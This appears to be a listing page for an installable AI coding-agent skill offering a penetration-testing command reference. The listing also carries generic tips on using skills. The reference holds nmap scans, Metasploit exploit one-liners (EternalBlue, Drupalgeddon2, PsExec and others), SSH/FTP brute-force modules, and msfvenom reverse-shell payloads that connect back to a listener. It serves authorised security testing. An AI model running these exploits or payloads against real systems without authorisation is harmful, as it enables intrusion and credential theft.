Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
Fetches pentest-commands from davila7/claude-code-templates and configures it for Cursor.
3
Select Cursor when prompted
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
◆ Which agents do you want to install to?
│
│ ── Universal (.agents/skills) ────────────────
│ · Cline · Codex · Goose · Windsurf
│ ●Cursor(selected)
│ · Cursor · Aider · Continue
4
Verify installation
Confirm successful installation by checking the skill directory location:
.cursor/skills/pentest-commands
Restart Cursor to activate pentest-commands. Access via /pentest-commands in your agent's command palette.
⚠
Security Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
Inputs/Prerequisites
Kali Linux or penetration testing distribution
Target IP addresses with authorization
Wordlists for brute forcing
Network access to target systems
Basic understanding of tool syntax
Outputs/Deliverables
Network enumeration results
Identified vulnerabilities
Exploitation payloads
Cracked credentials
Web vulnerability findings
Core Workflow
1. Nmap Commands
Host Discovery:
# Ping sweepnmap -sP192.168.1.0/24
# List IPs without scanningnmap -sL192.168.1.0/24
# Ping scan (host discovery)nmap -sn192.168.1.0/24
Port Scanning:
# TCP SYN scan (stealth)nmap -sS192.168.1.1
# Full TCP connect scannmap -sT192.168.1.1
# UDP scannmap -sU192.168.1.1
# All ports (1-65535)nmap -p- 192.168.1.1
# Specific portsnmap -p22,80,443 192.168.1.1
Service Detection:
# Service versionsnmap -sV192.168.1.1
# OS detectionnmap -O192.168.1.1
# Comprehensive scannmap -A192.168.1.1
# Skip host discoverynmap -Pn192.168.1.1
# Launch Metasploitmsfconsole
# Search for exploitssearch type:exploit name:smb
# Use exploituse exploit/windows/smb/ms17_010_eternalblue
# Show optionsshow options
# Set targetset RHOST 192.168.1.1
# Set payloadset PAYLOAD windows/meterpreter/reverse_tcp
# Run exploitexploit
Common Exploits:
# EternalBluemsfconsole -x"use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"# MS08-067 (Conficker)msfconsole -x"use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"# vsftpd backdoormsfconsole -x"use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"# Shellshockmsfconsole -x"use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"# Drupalgeddon2msfconsole -x"use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"# PSExecmsfconsole -x"use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
Scanners:
# TCP port scanmsfconsole -x"use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"# SMB version scanmsfconsole -x"use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"# SMB share enumerationmsfconsole -x"use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"# SSH brute forcemsfconsole -x"use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"# FTP brute forcemsfconsole -x"use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"# RDP scanningmsfconsole -x"use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
Handler Setup:
# Multi-handler for reverse shellsmsfconsole -x"use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
Payload Generation (msfvenom):
# Windows reverse shellmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444-f exe > shell.exe
# Linux reverse shellmsfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444-f elf > shell.elf
# PHP reverse shellmsfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444-f raw > shell.php
# ASP reverse shellmsfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444-f asp > shell.asp
# WAR filemsfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444-f war > shell.war
# Python payloadmsfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444-f raw > shell.py
3. Nikto Commands
# Basic scannikto -h http://192.168.1.1
# Comprehensive scannikto -h http://192.168.1.1 -C all
# Output to filenikto -h http://192.168.1.1 -output report.html
# Plugin-based scansnikto -h http://192.168.1.1 -Plugins robots
nikto -h http://192.168.1.1 -Plugins shellshock
nikto -h http://192.168.1.1 -Plugins heartbleed
nikto -h http://192.168.1.1 -Plugins ssl
# Export to Metasploitnikto -h http://192.168.1.1 -Format msf+
# Specific tuningnikto -h http://192.168.1.1 -Tuning1# Interesting files only
›Claude Desktop or compatible AI client with skill support
›Clear understanding of task or problem to solve
›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Steps
1Install skill using provided installation command
2Test with simple use case relevant to your work
3Evaluate output quality and relevance
4Iterate on prompts to improve results
5Integrate into regular workflow if valuable
Common Pitfalls
⚠Expecting perfect results without iteration
⚠Not providing enough context in prompts
⚠Using skill for tasks outside its intended scope
⚠Accepting outputs without review and validation
Best Practices
✓ Do
+Start with clear, specific prompts
+Provide relevant context and constraints
+Review and refine all outputs before using
+Iterate to improve output quality
+Document successful prompt patterns
✗ Don't
−Don't use without understanding skill limitations
−Don't skip validation of outputs
−Don't share sensitive information in prompts
−Don't expect skill to replace human judgment
💡 Pro Tips
★Be specific about desired format and style
★Ask for multiple options to choose from
★Request explanations to understand reasoning
★Combine AI efficiency with human expertise
When to Use This
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path
1Familiarize yourself with skill capabilities and limitations
2Start with low-risk, non-critical tasks
3Progress to more complex and valuable use cases
4Build expertise through regular use and experimentation
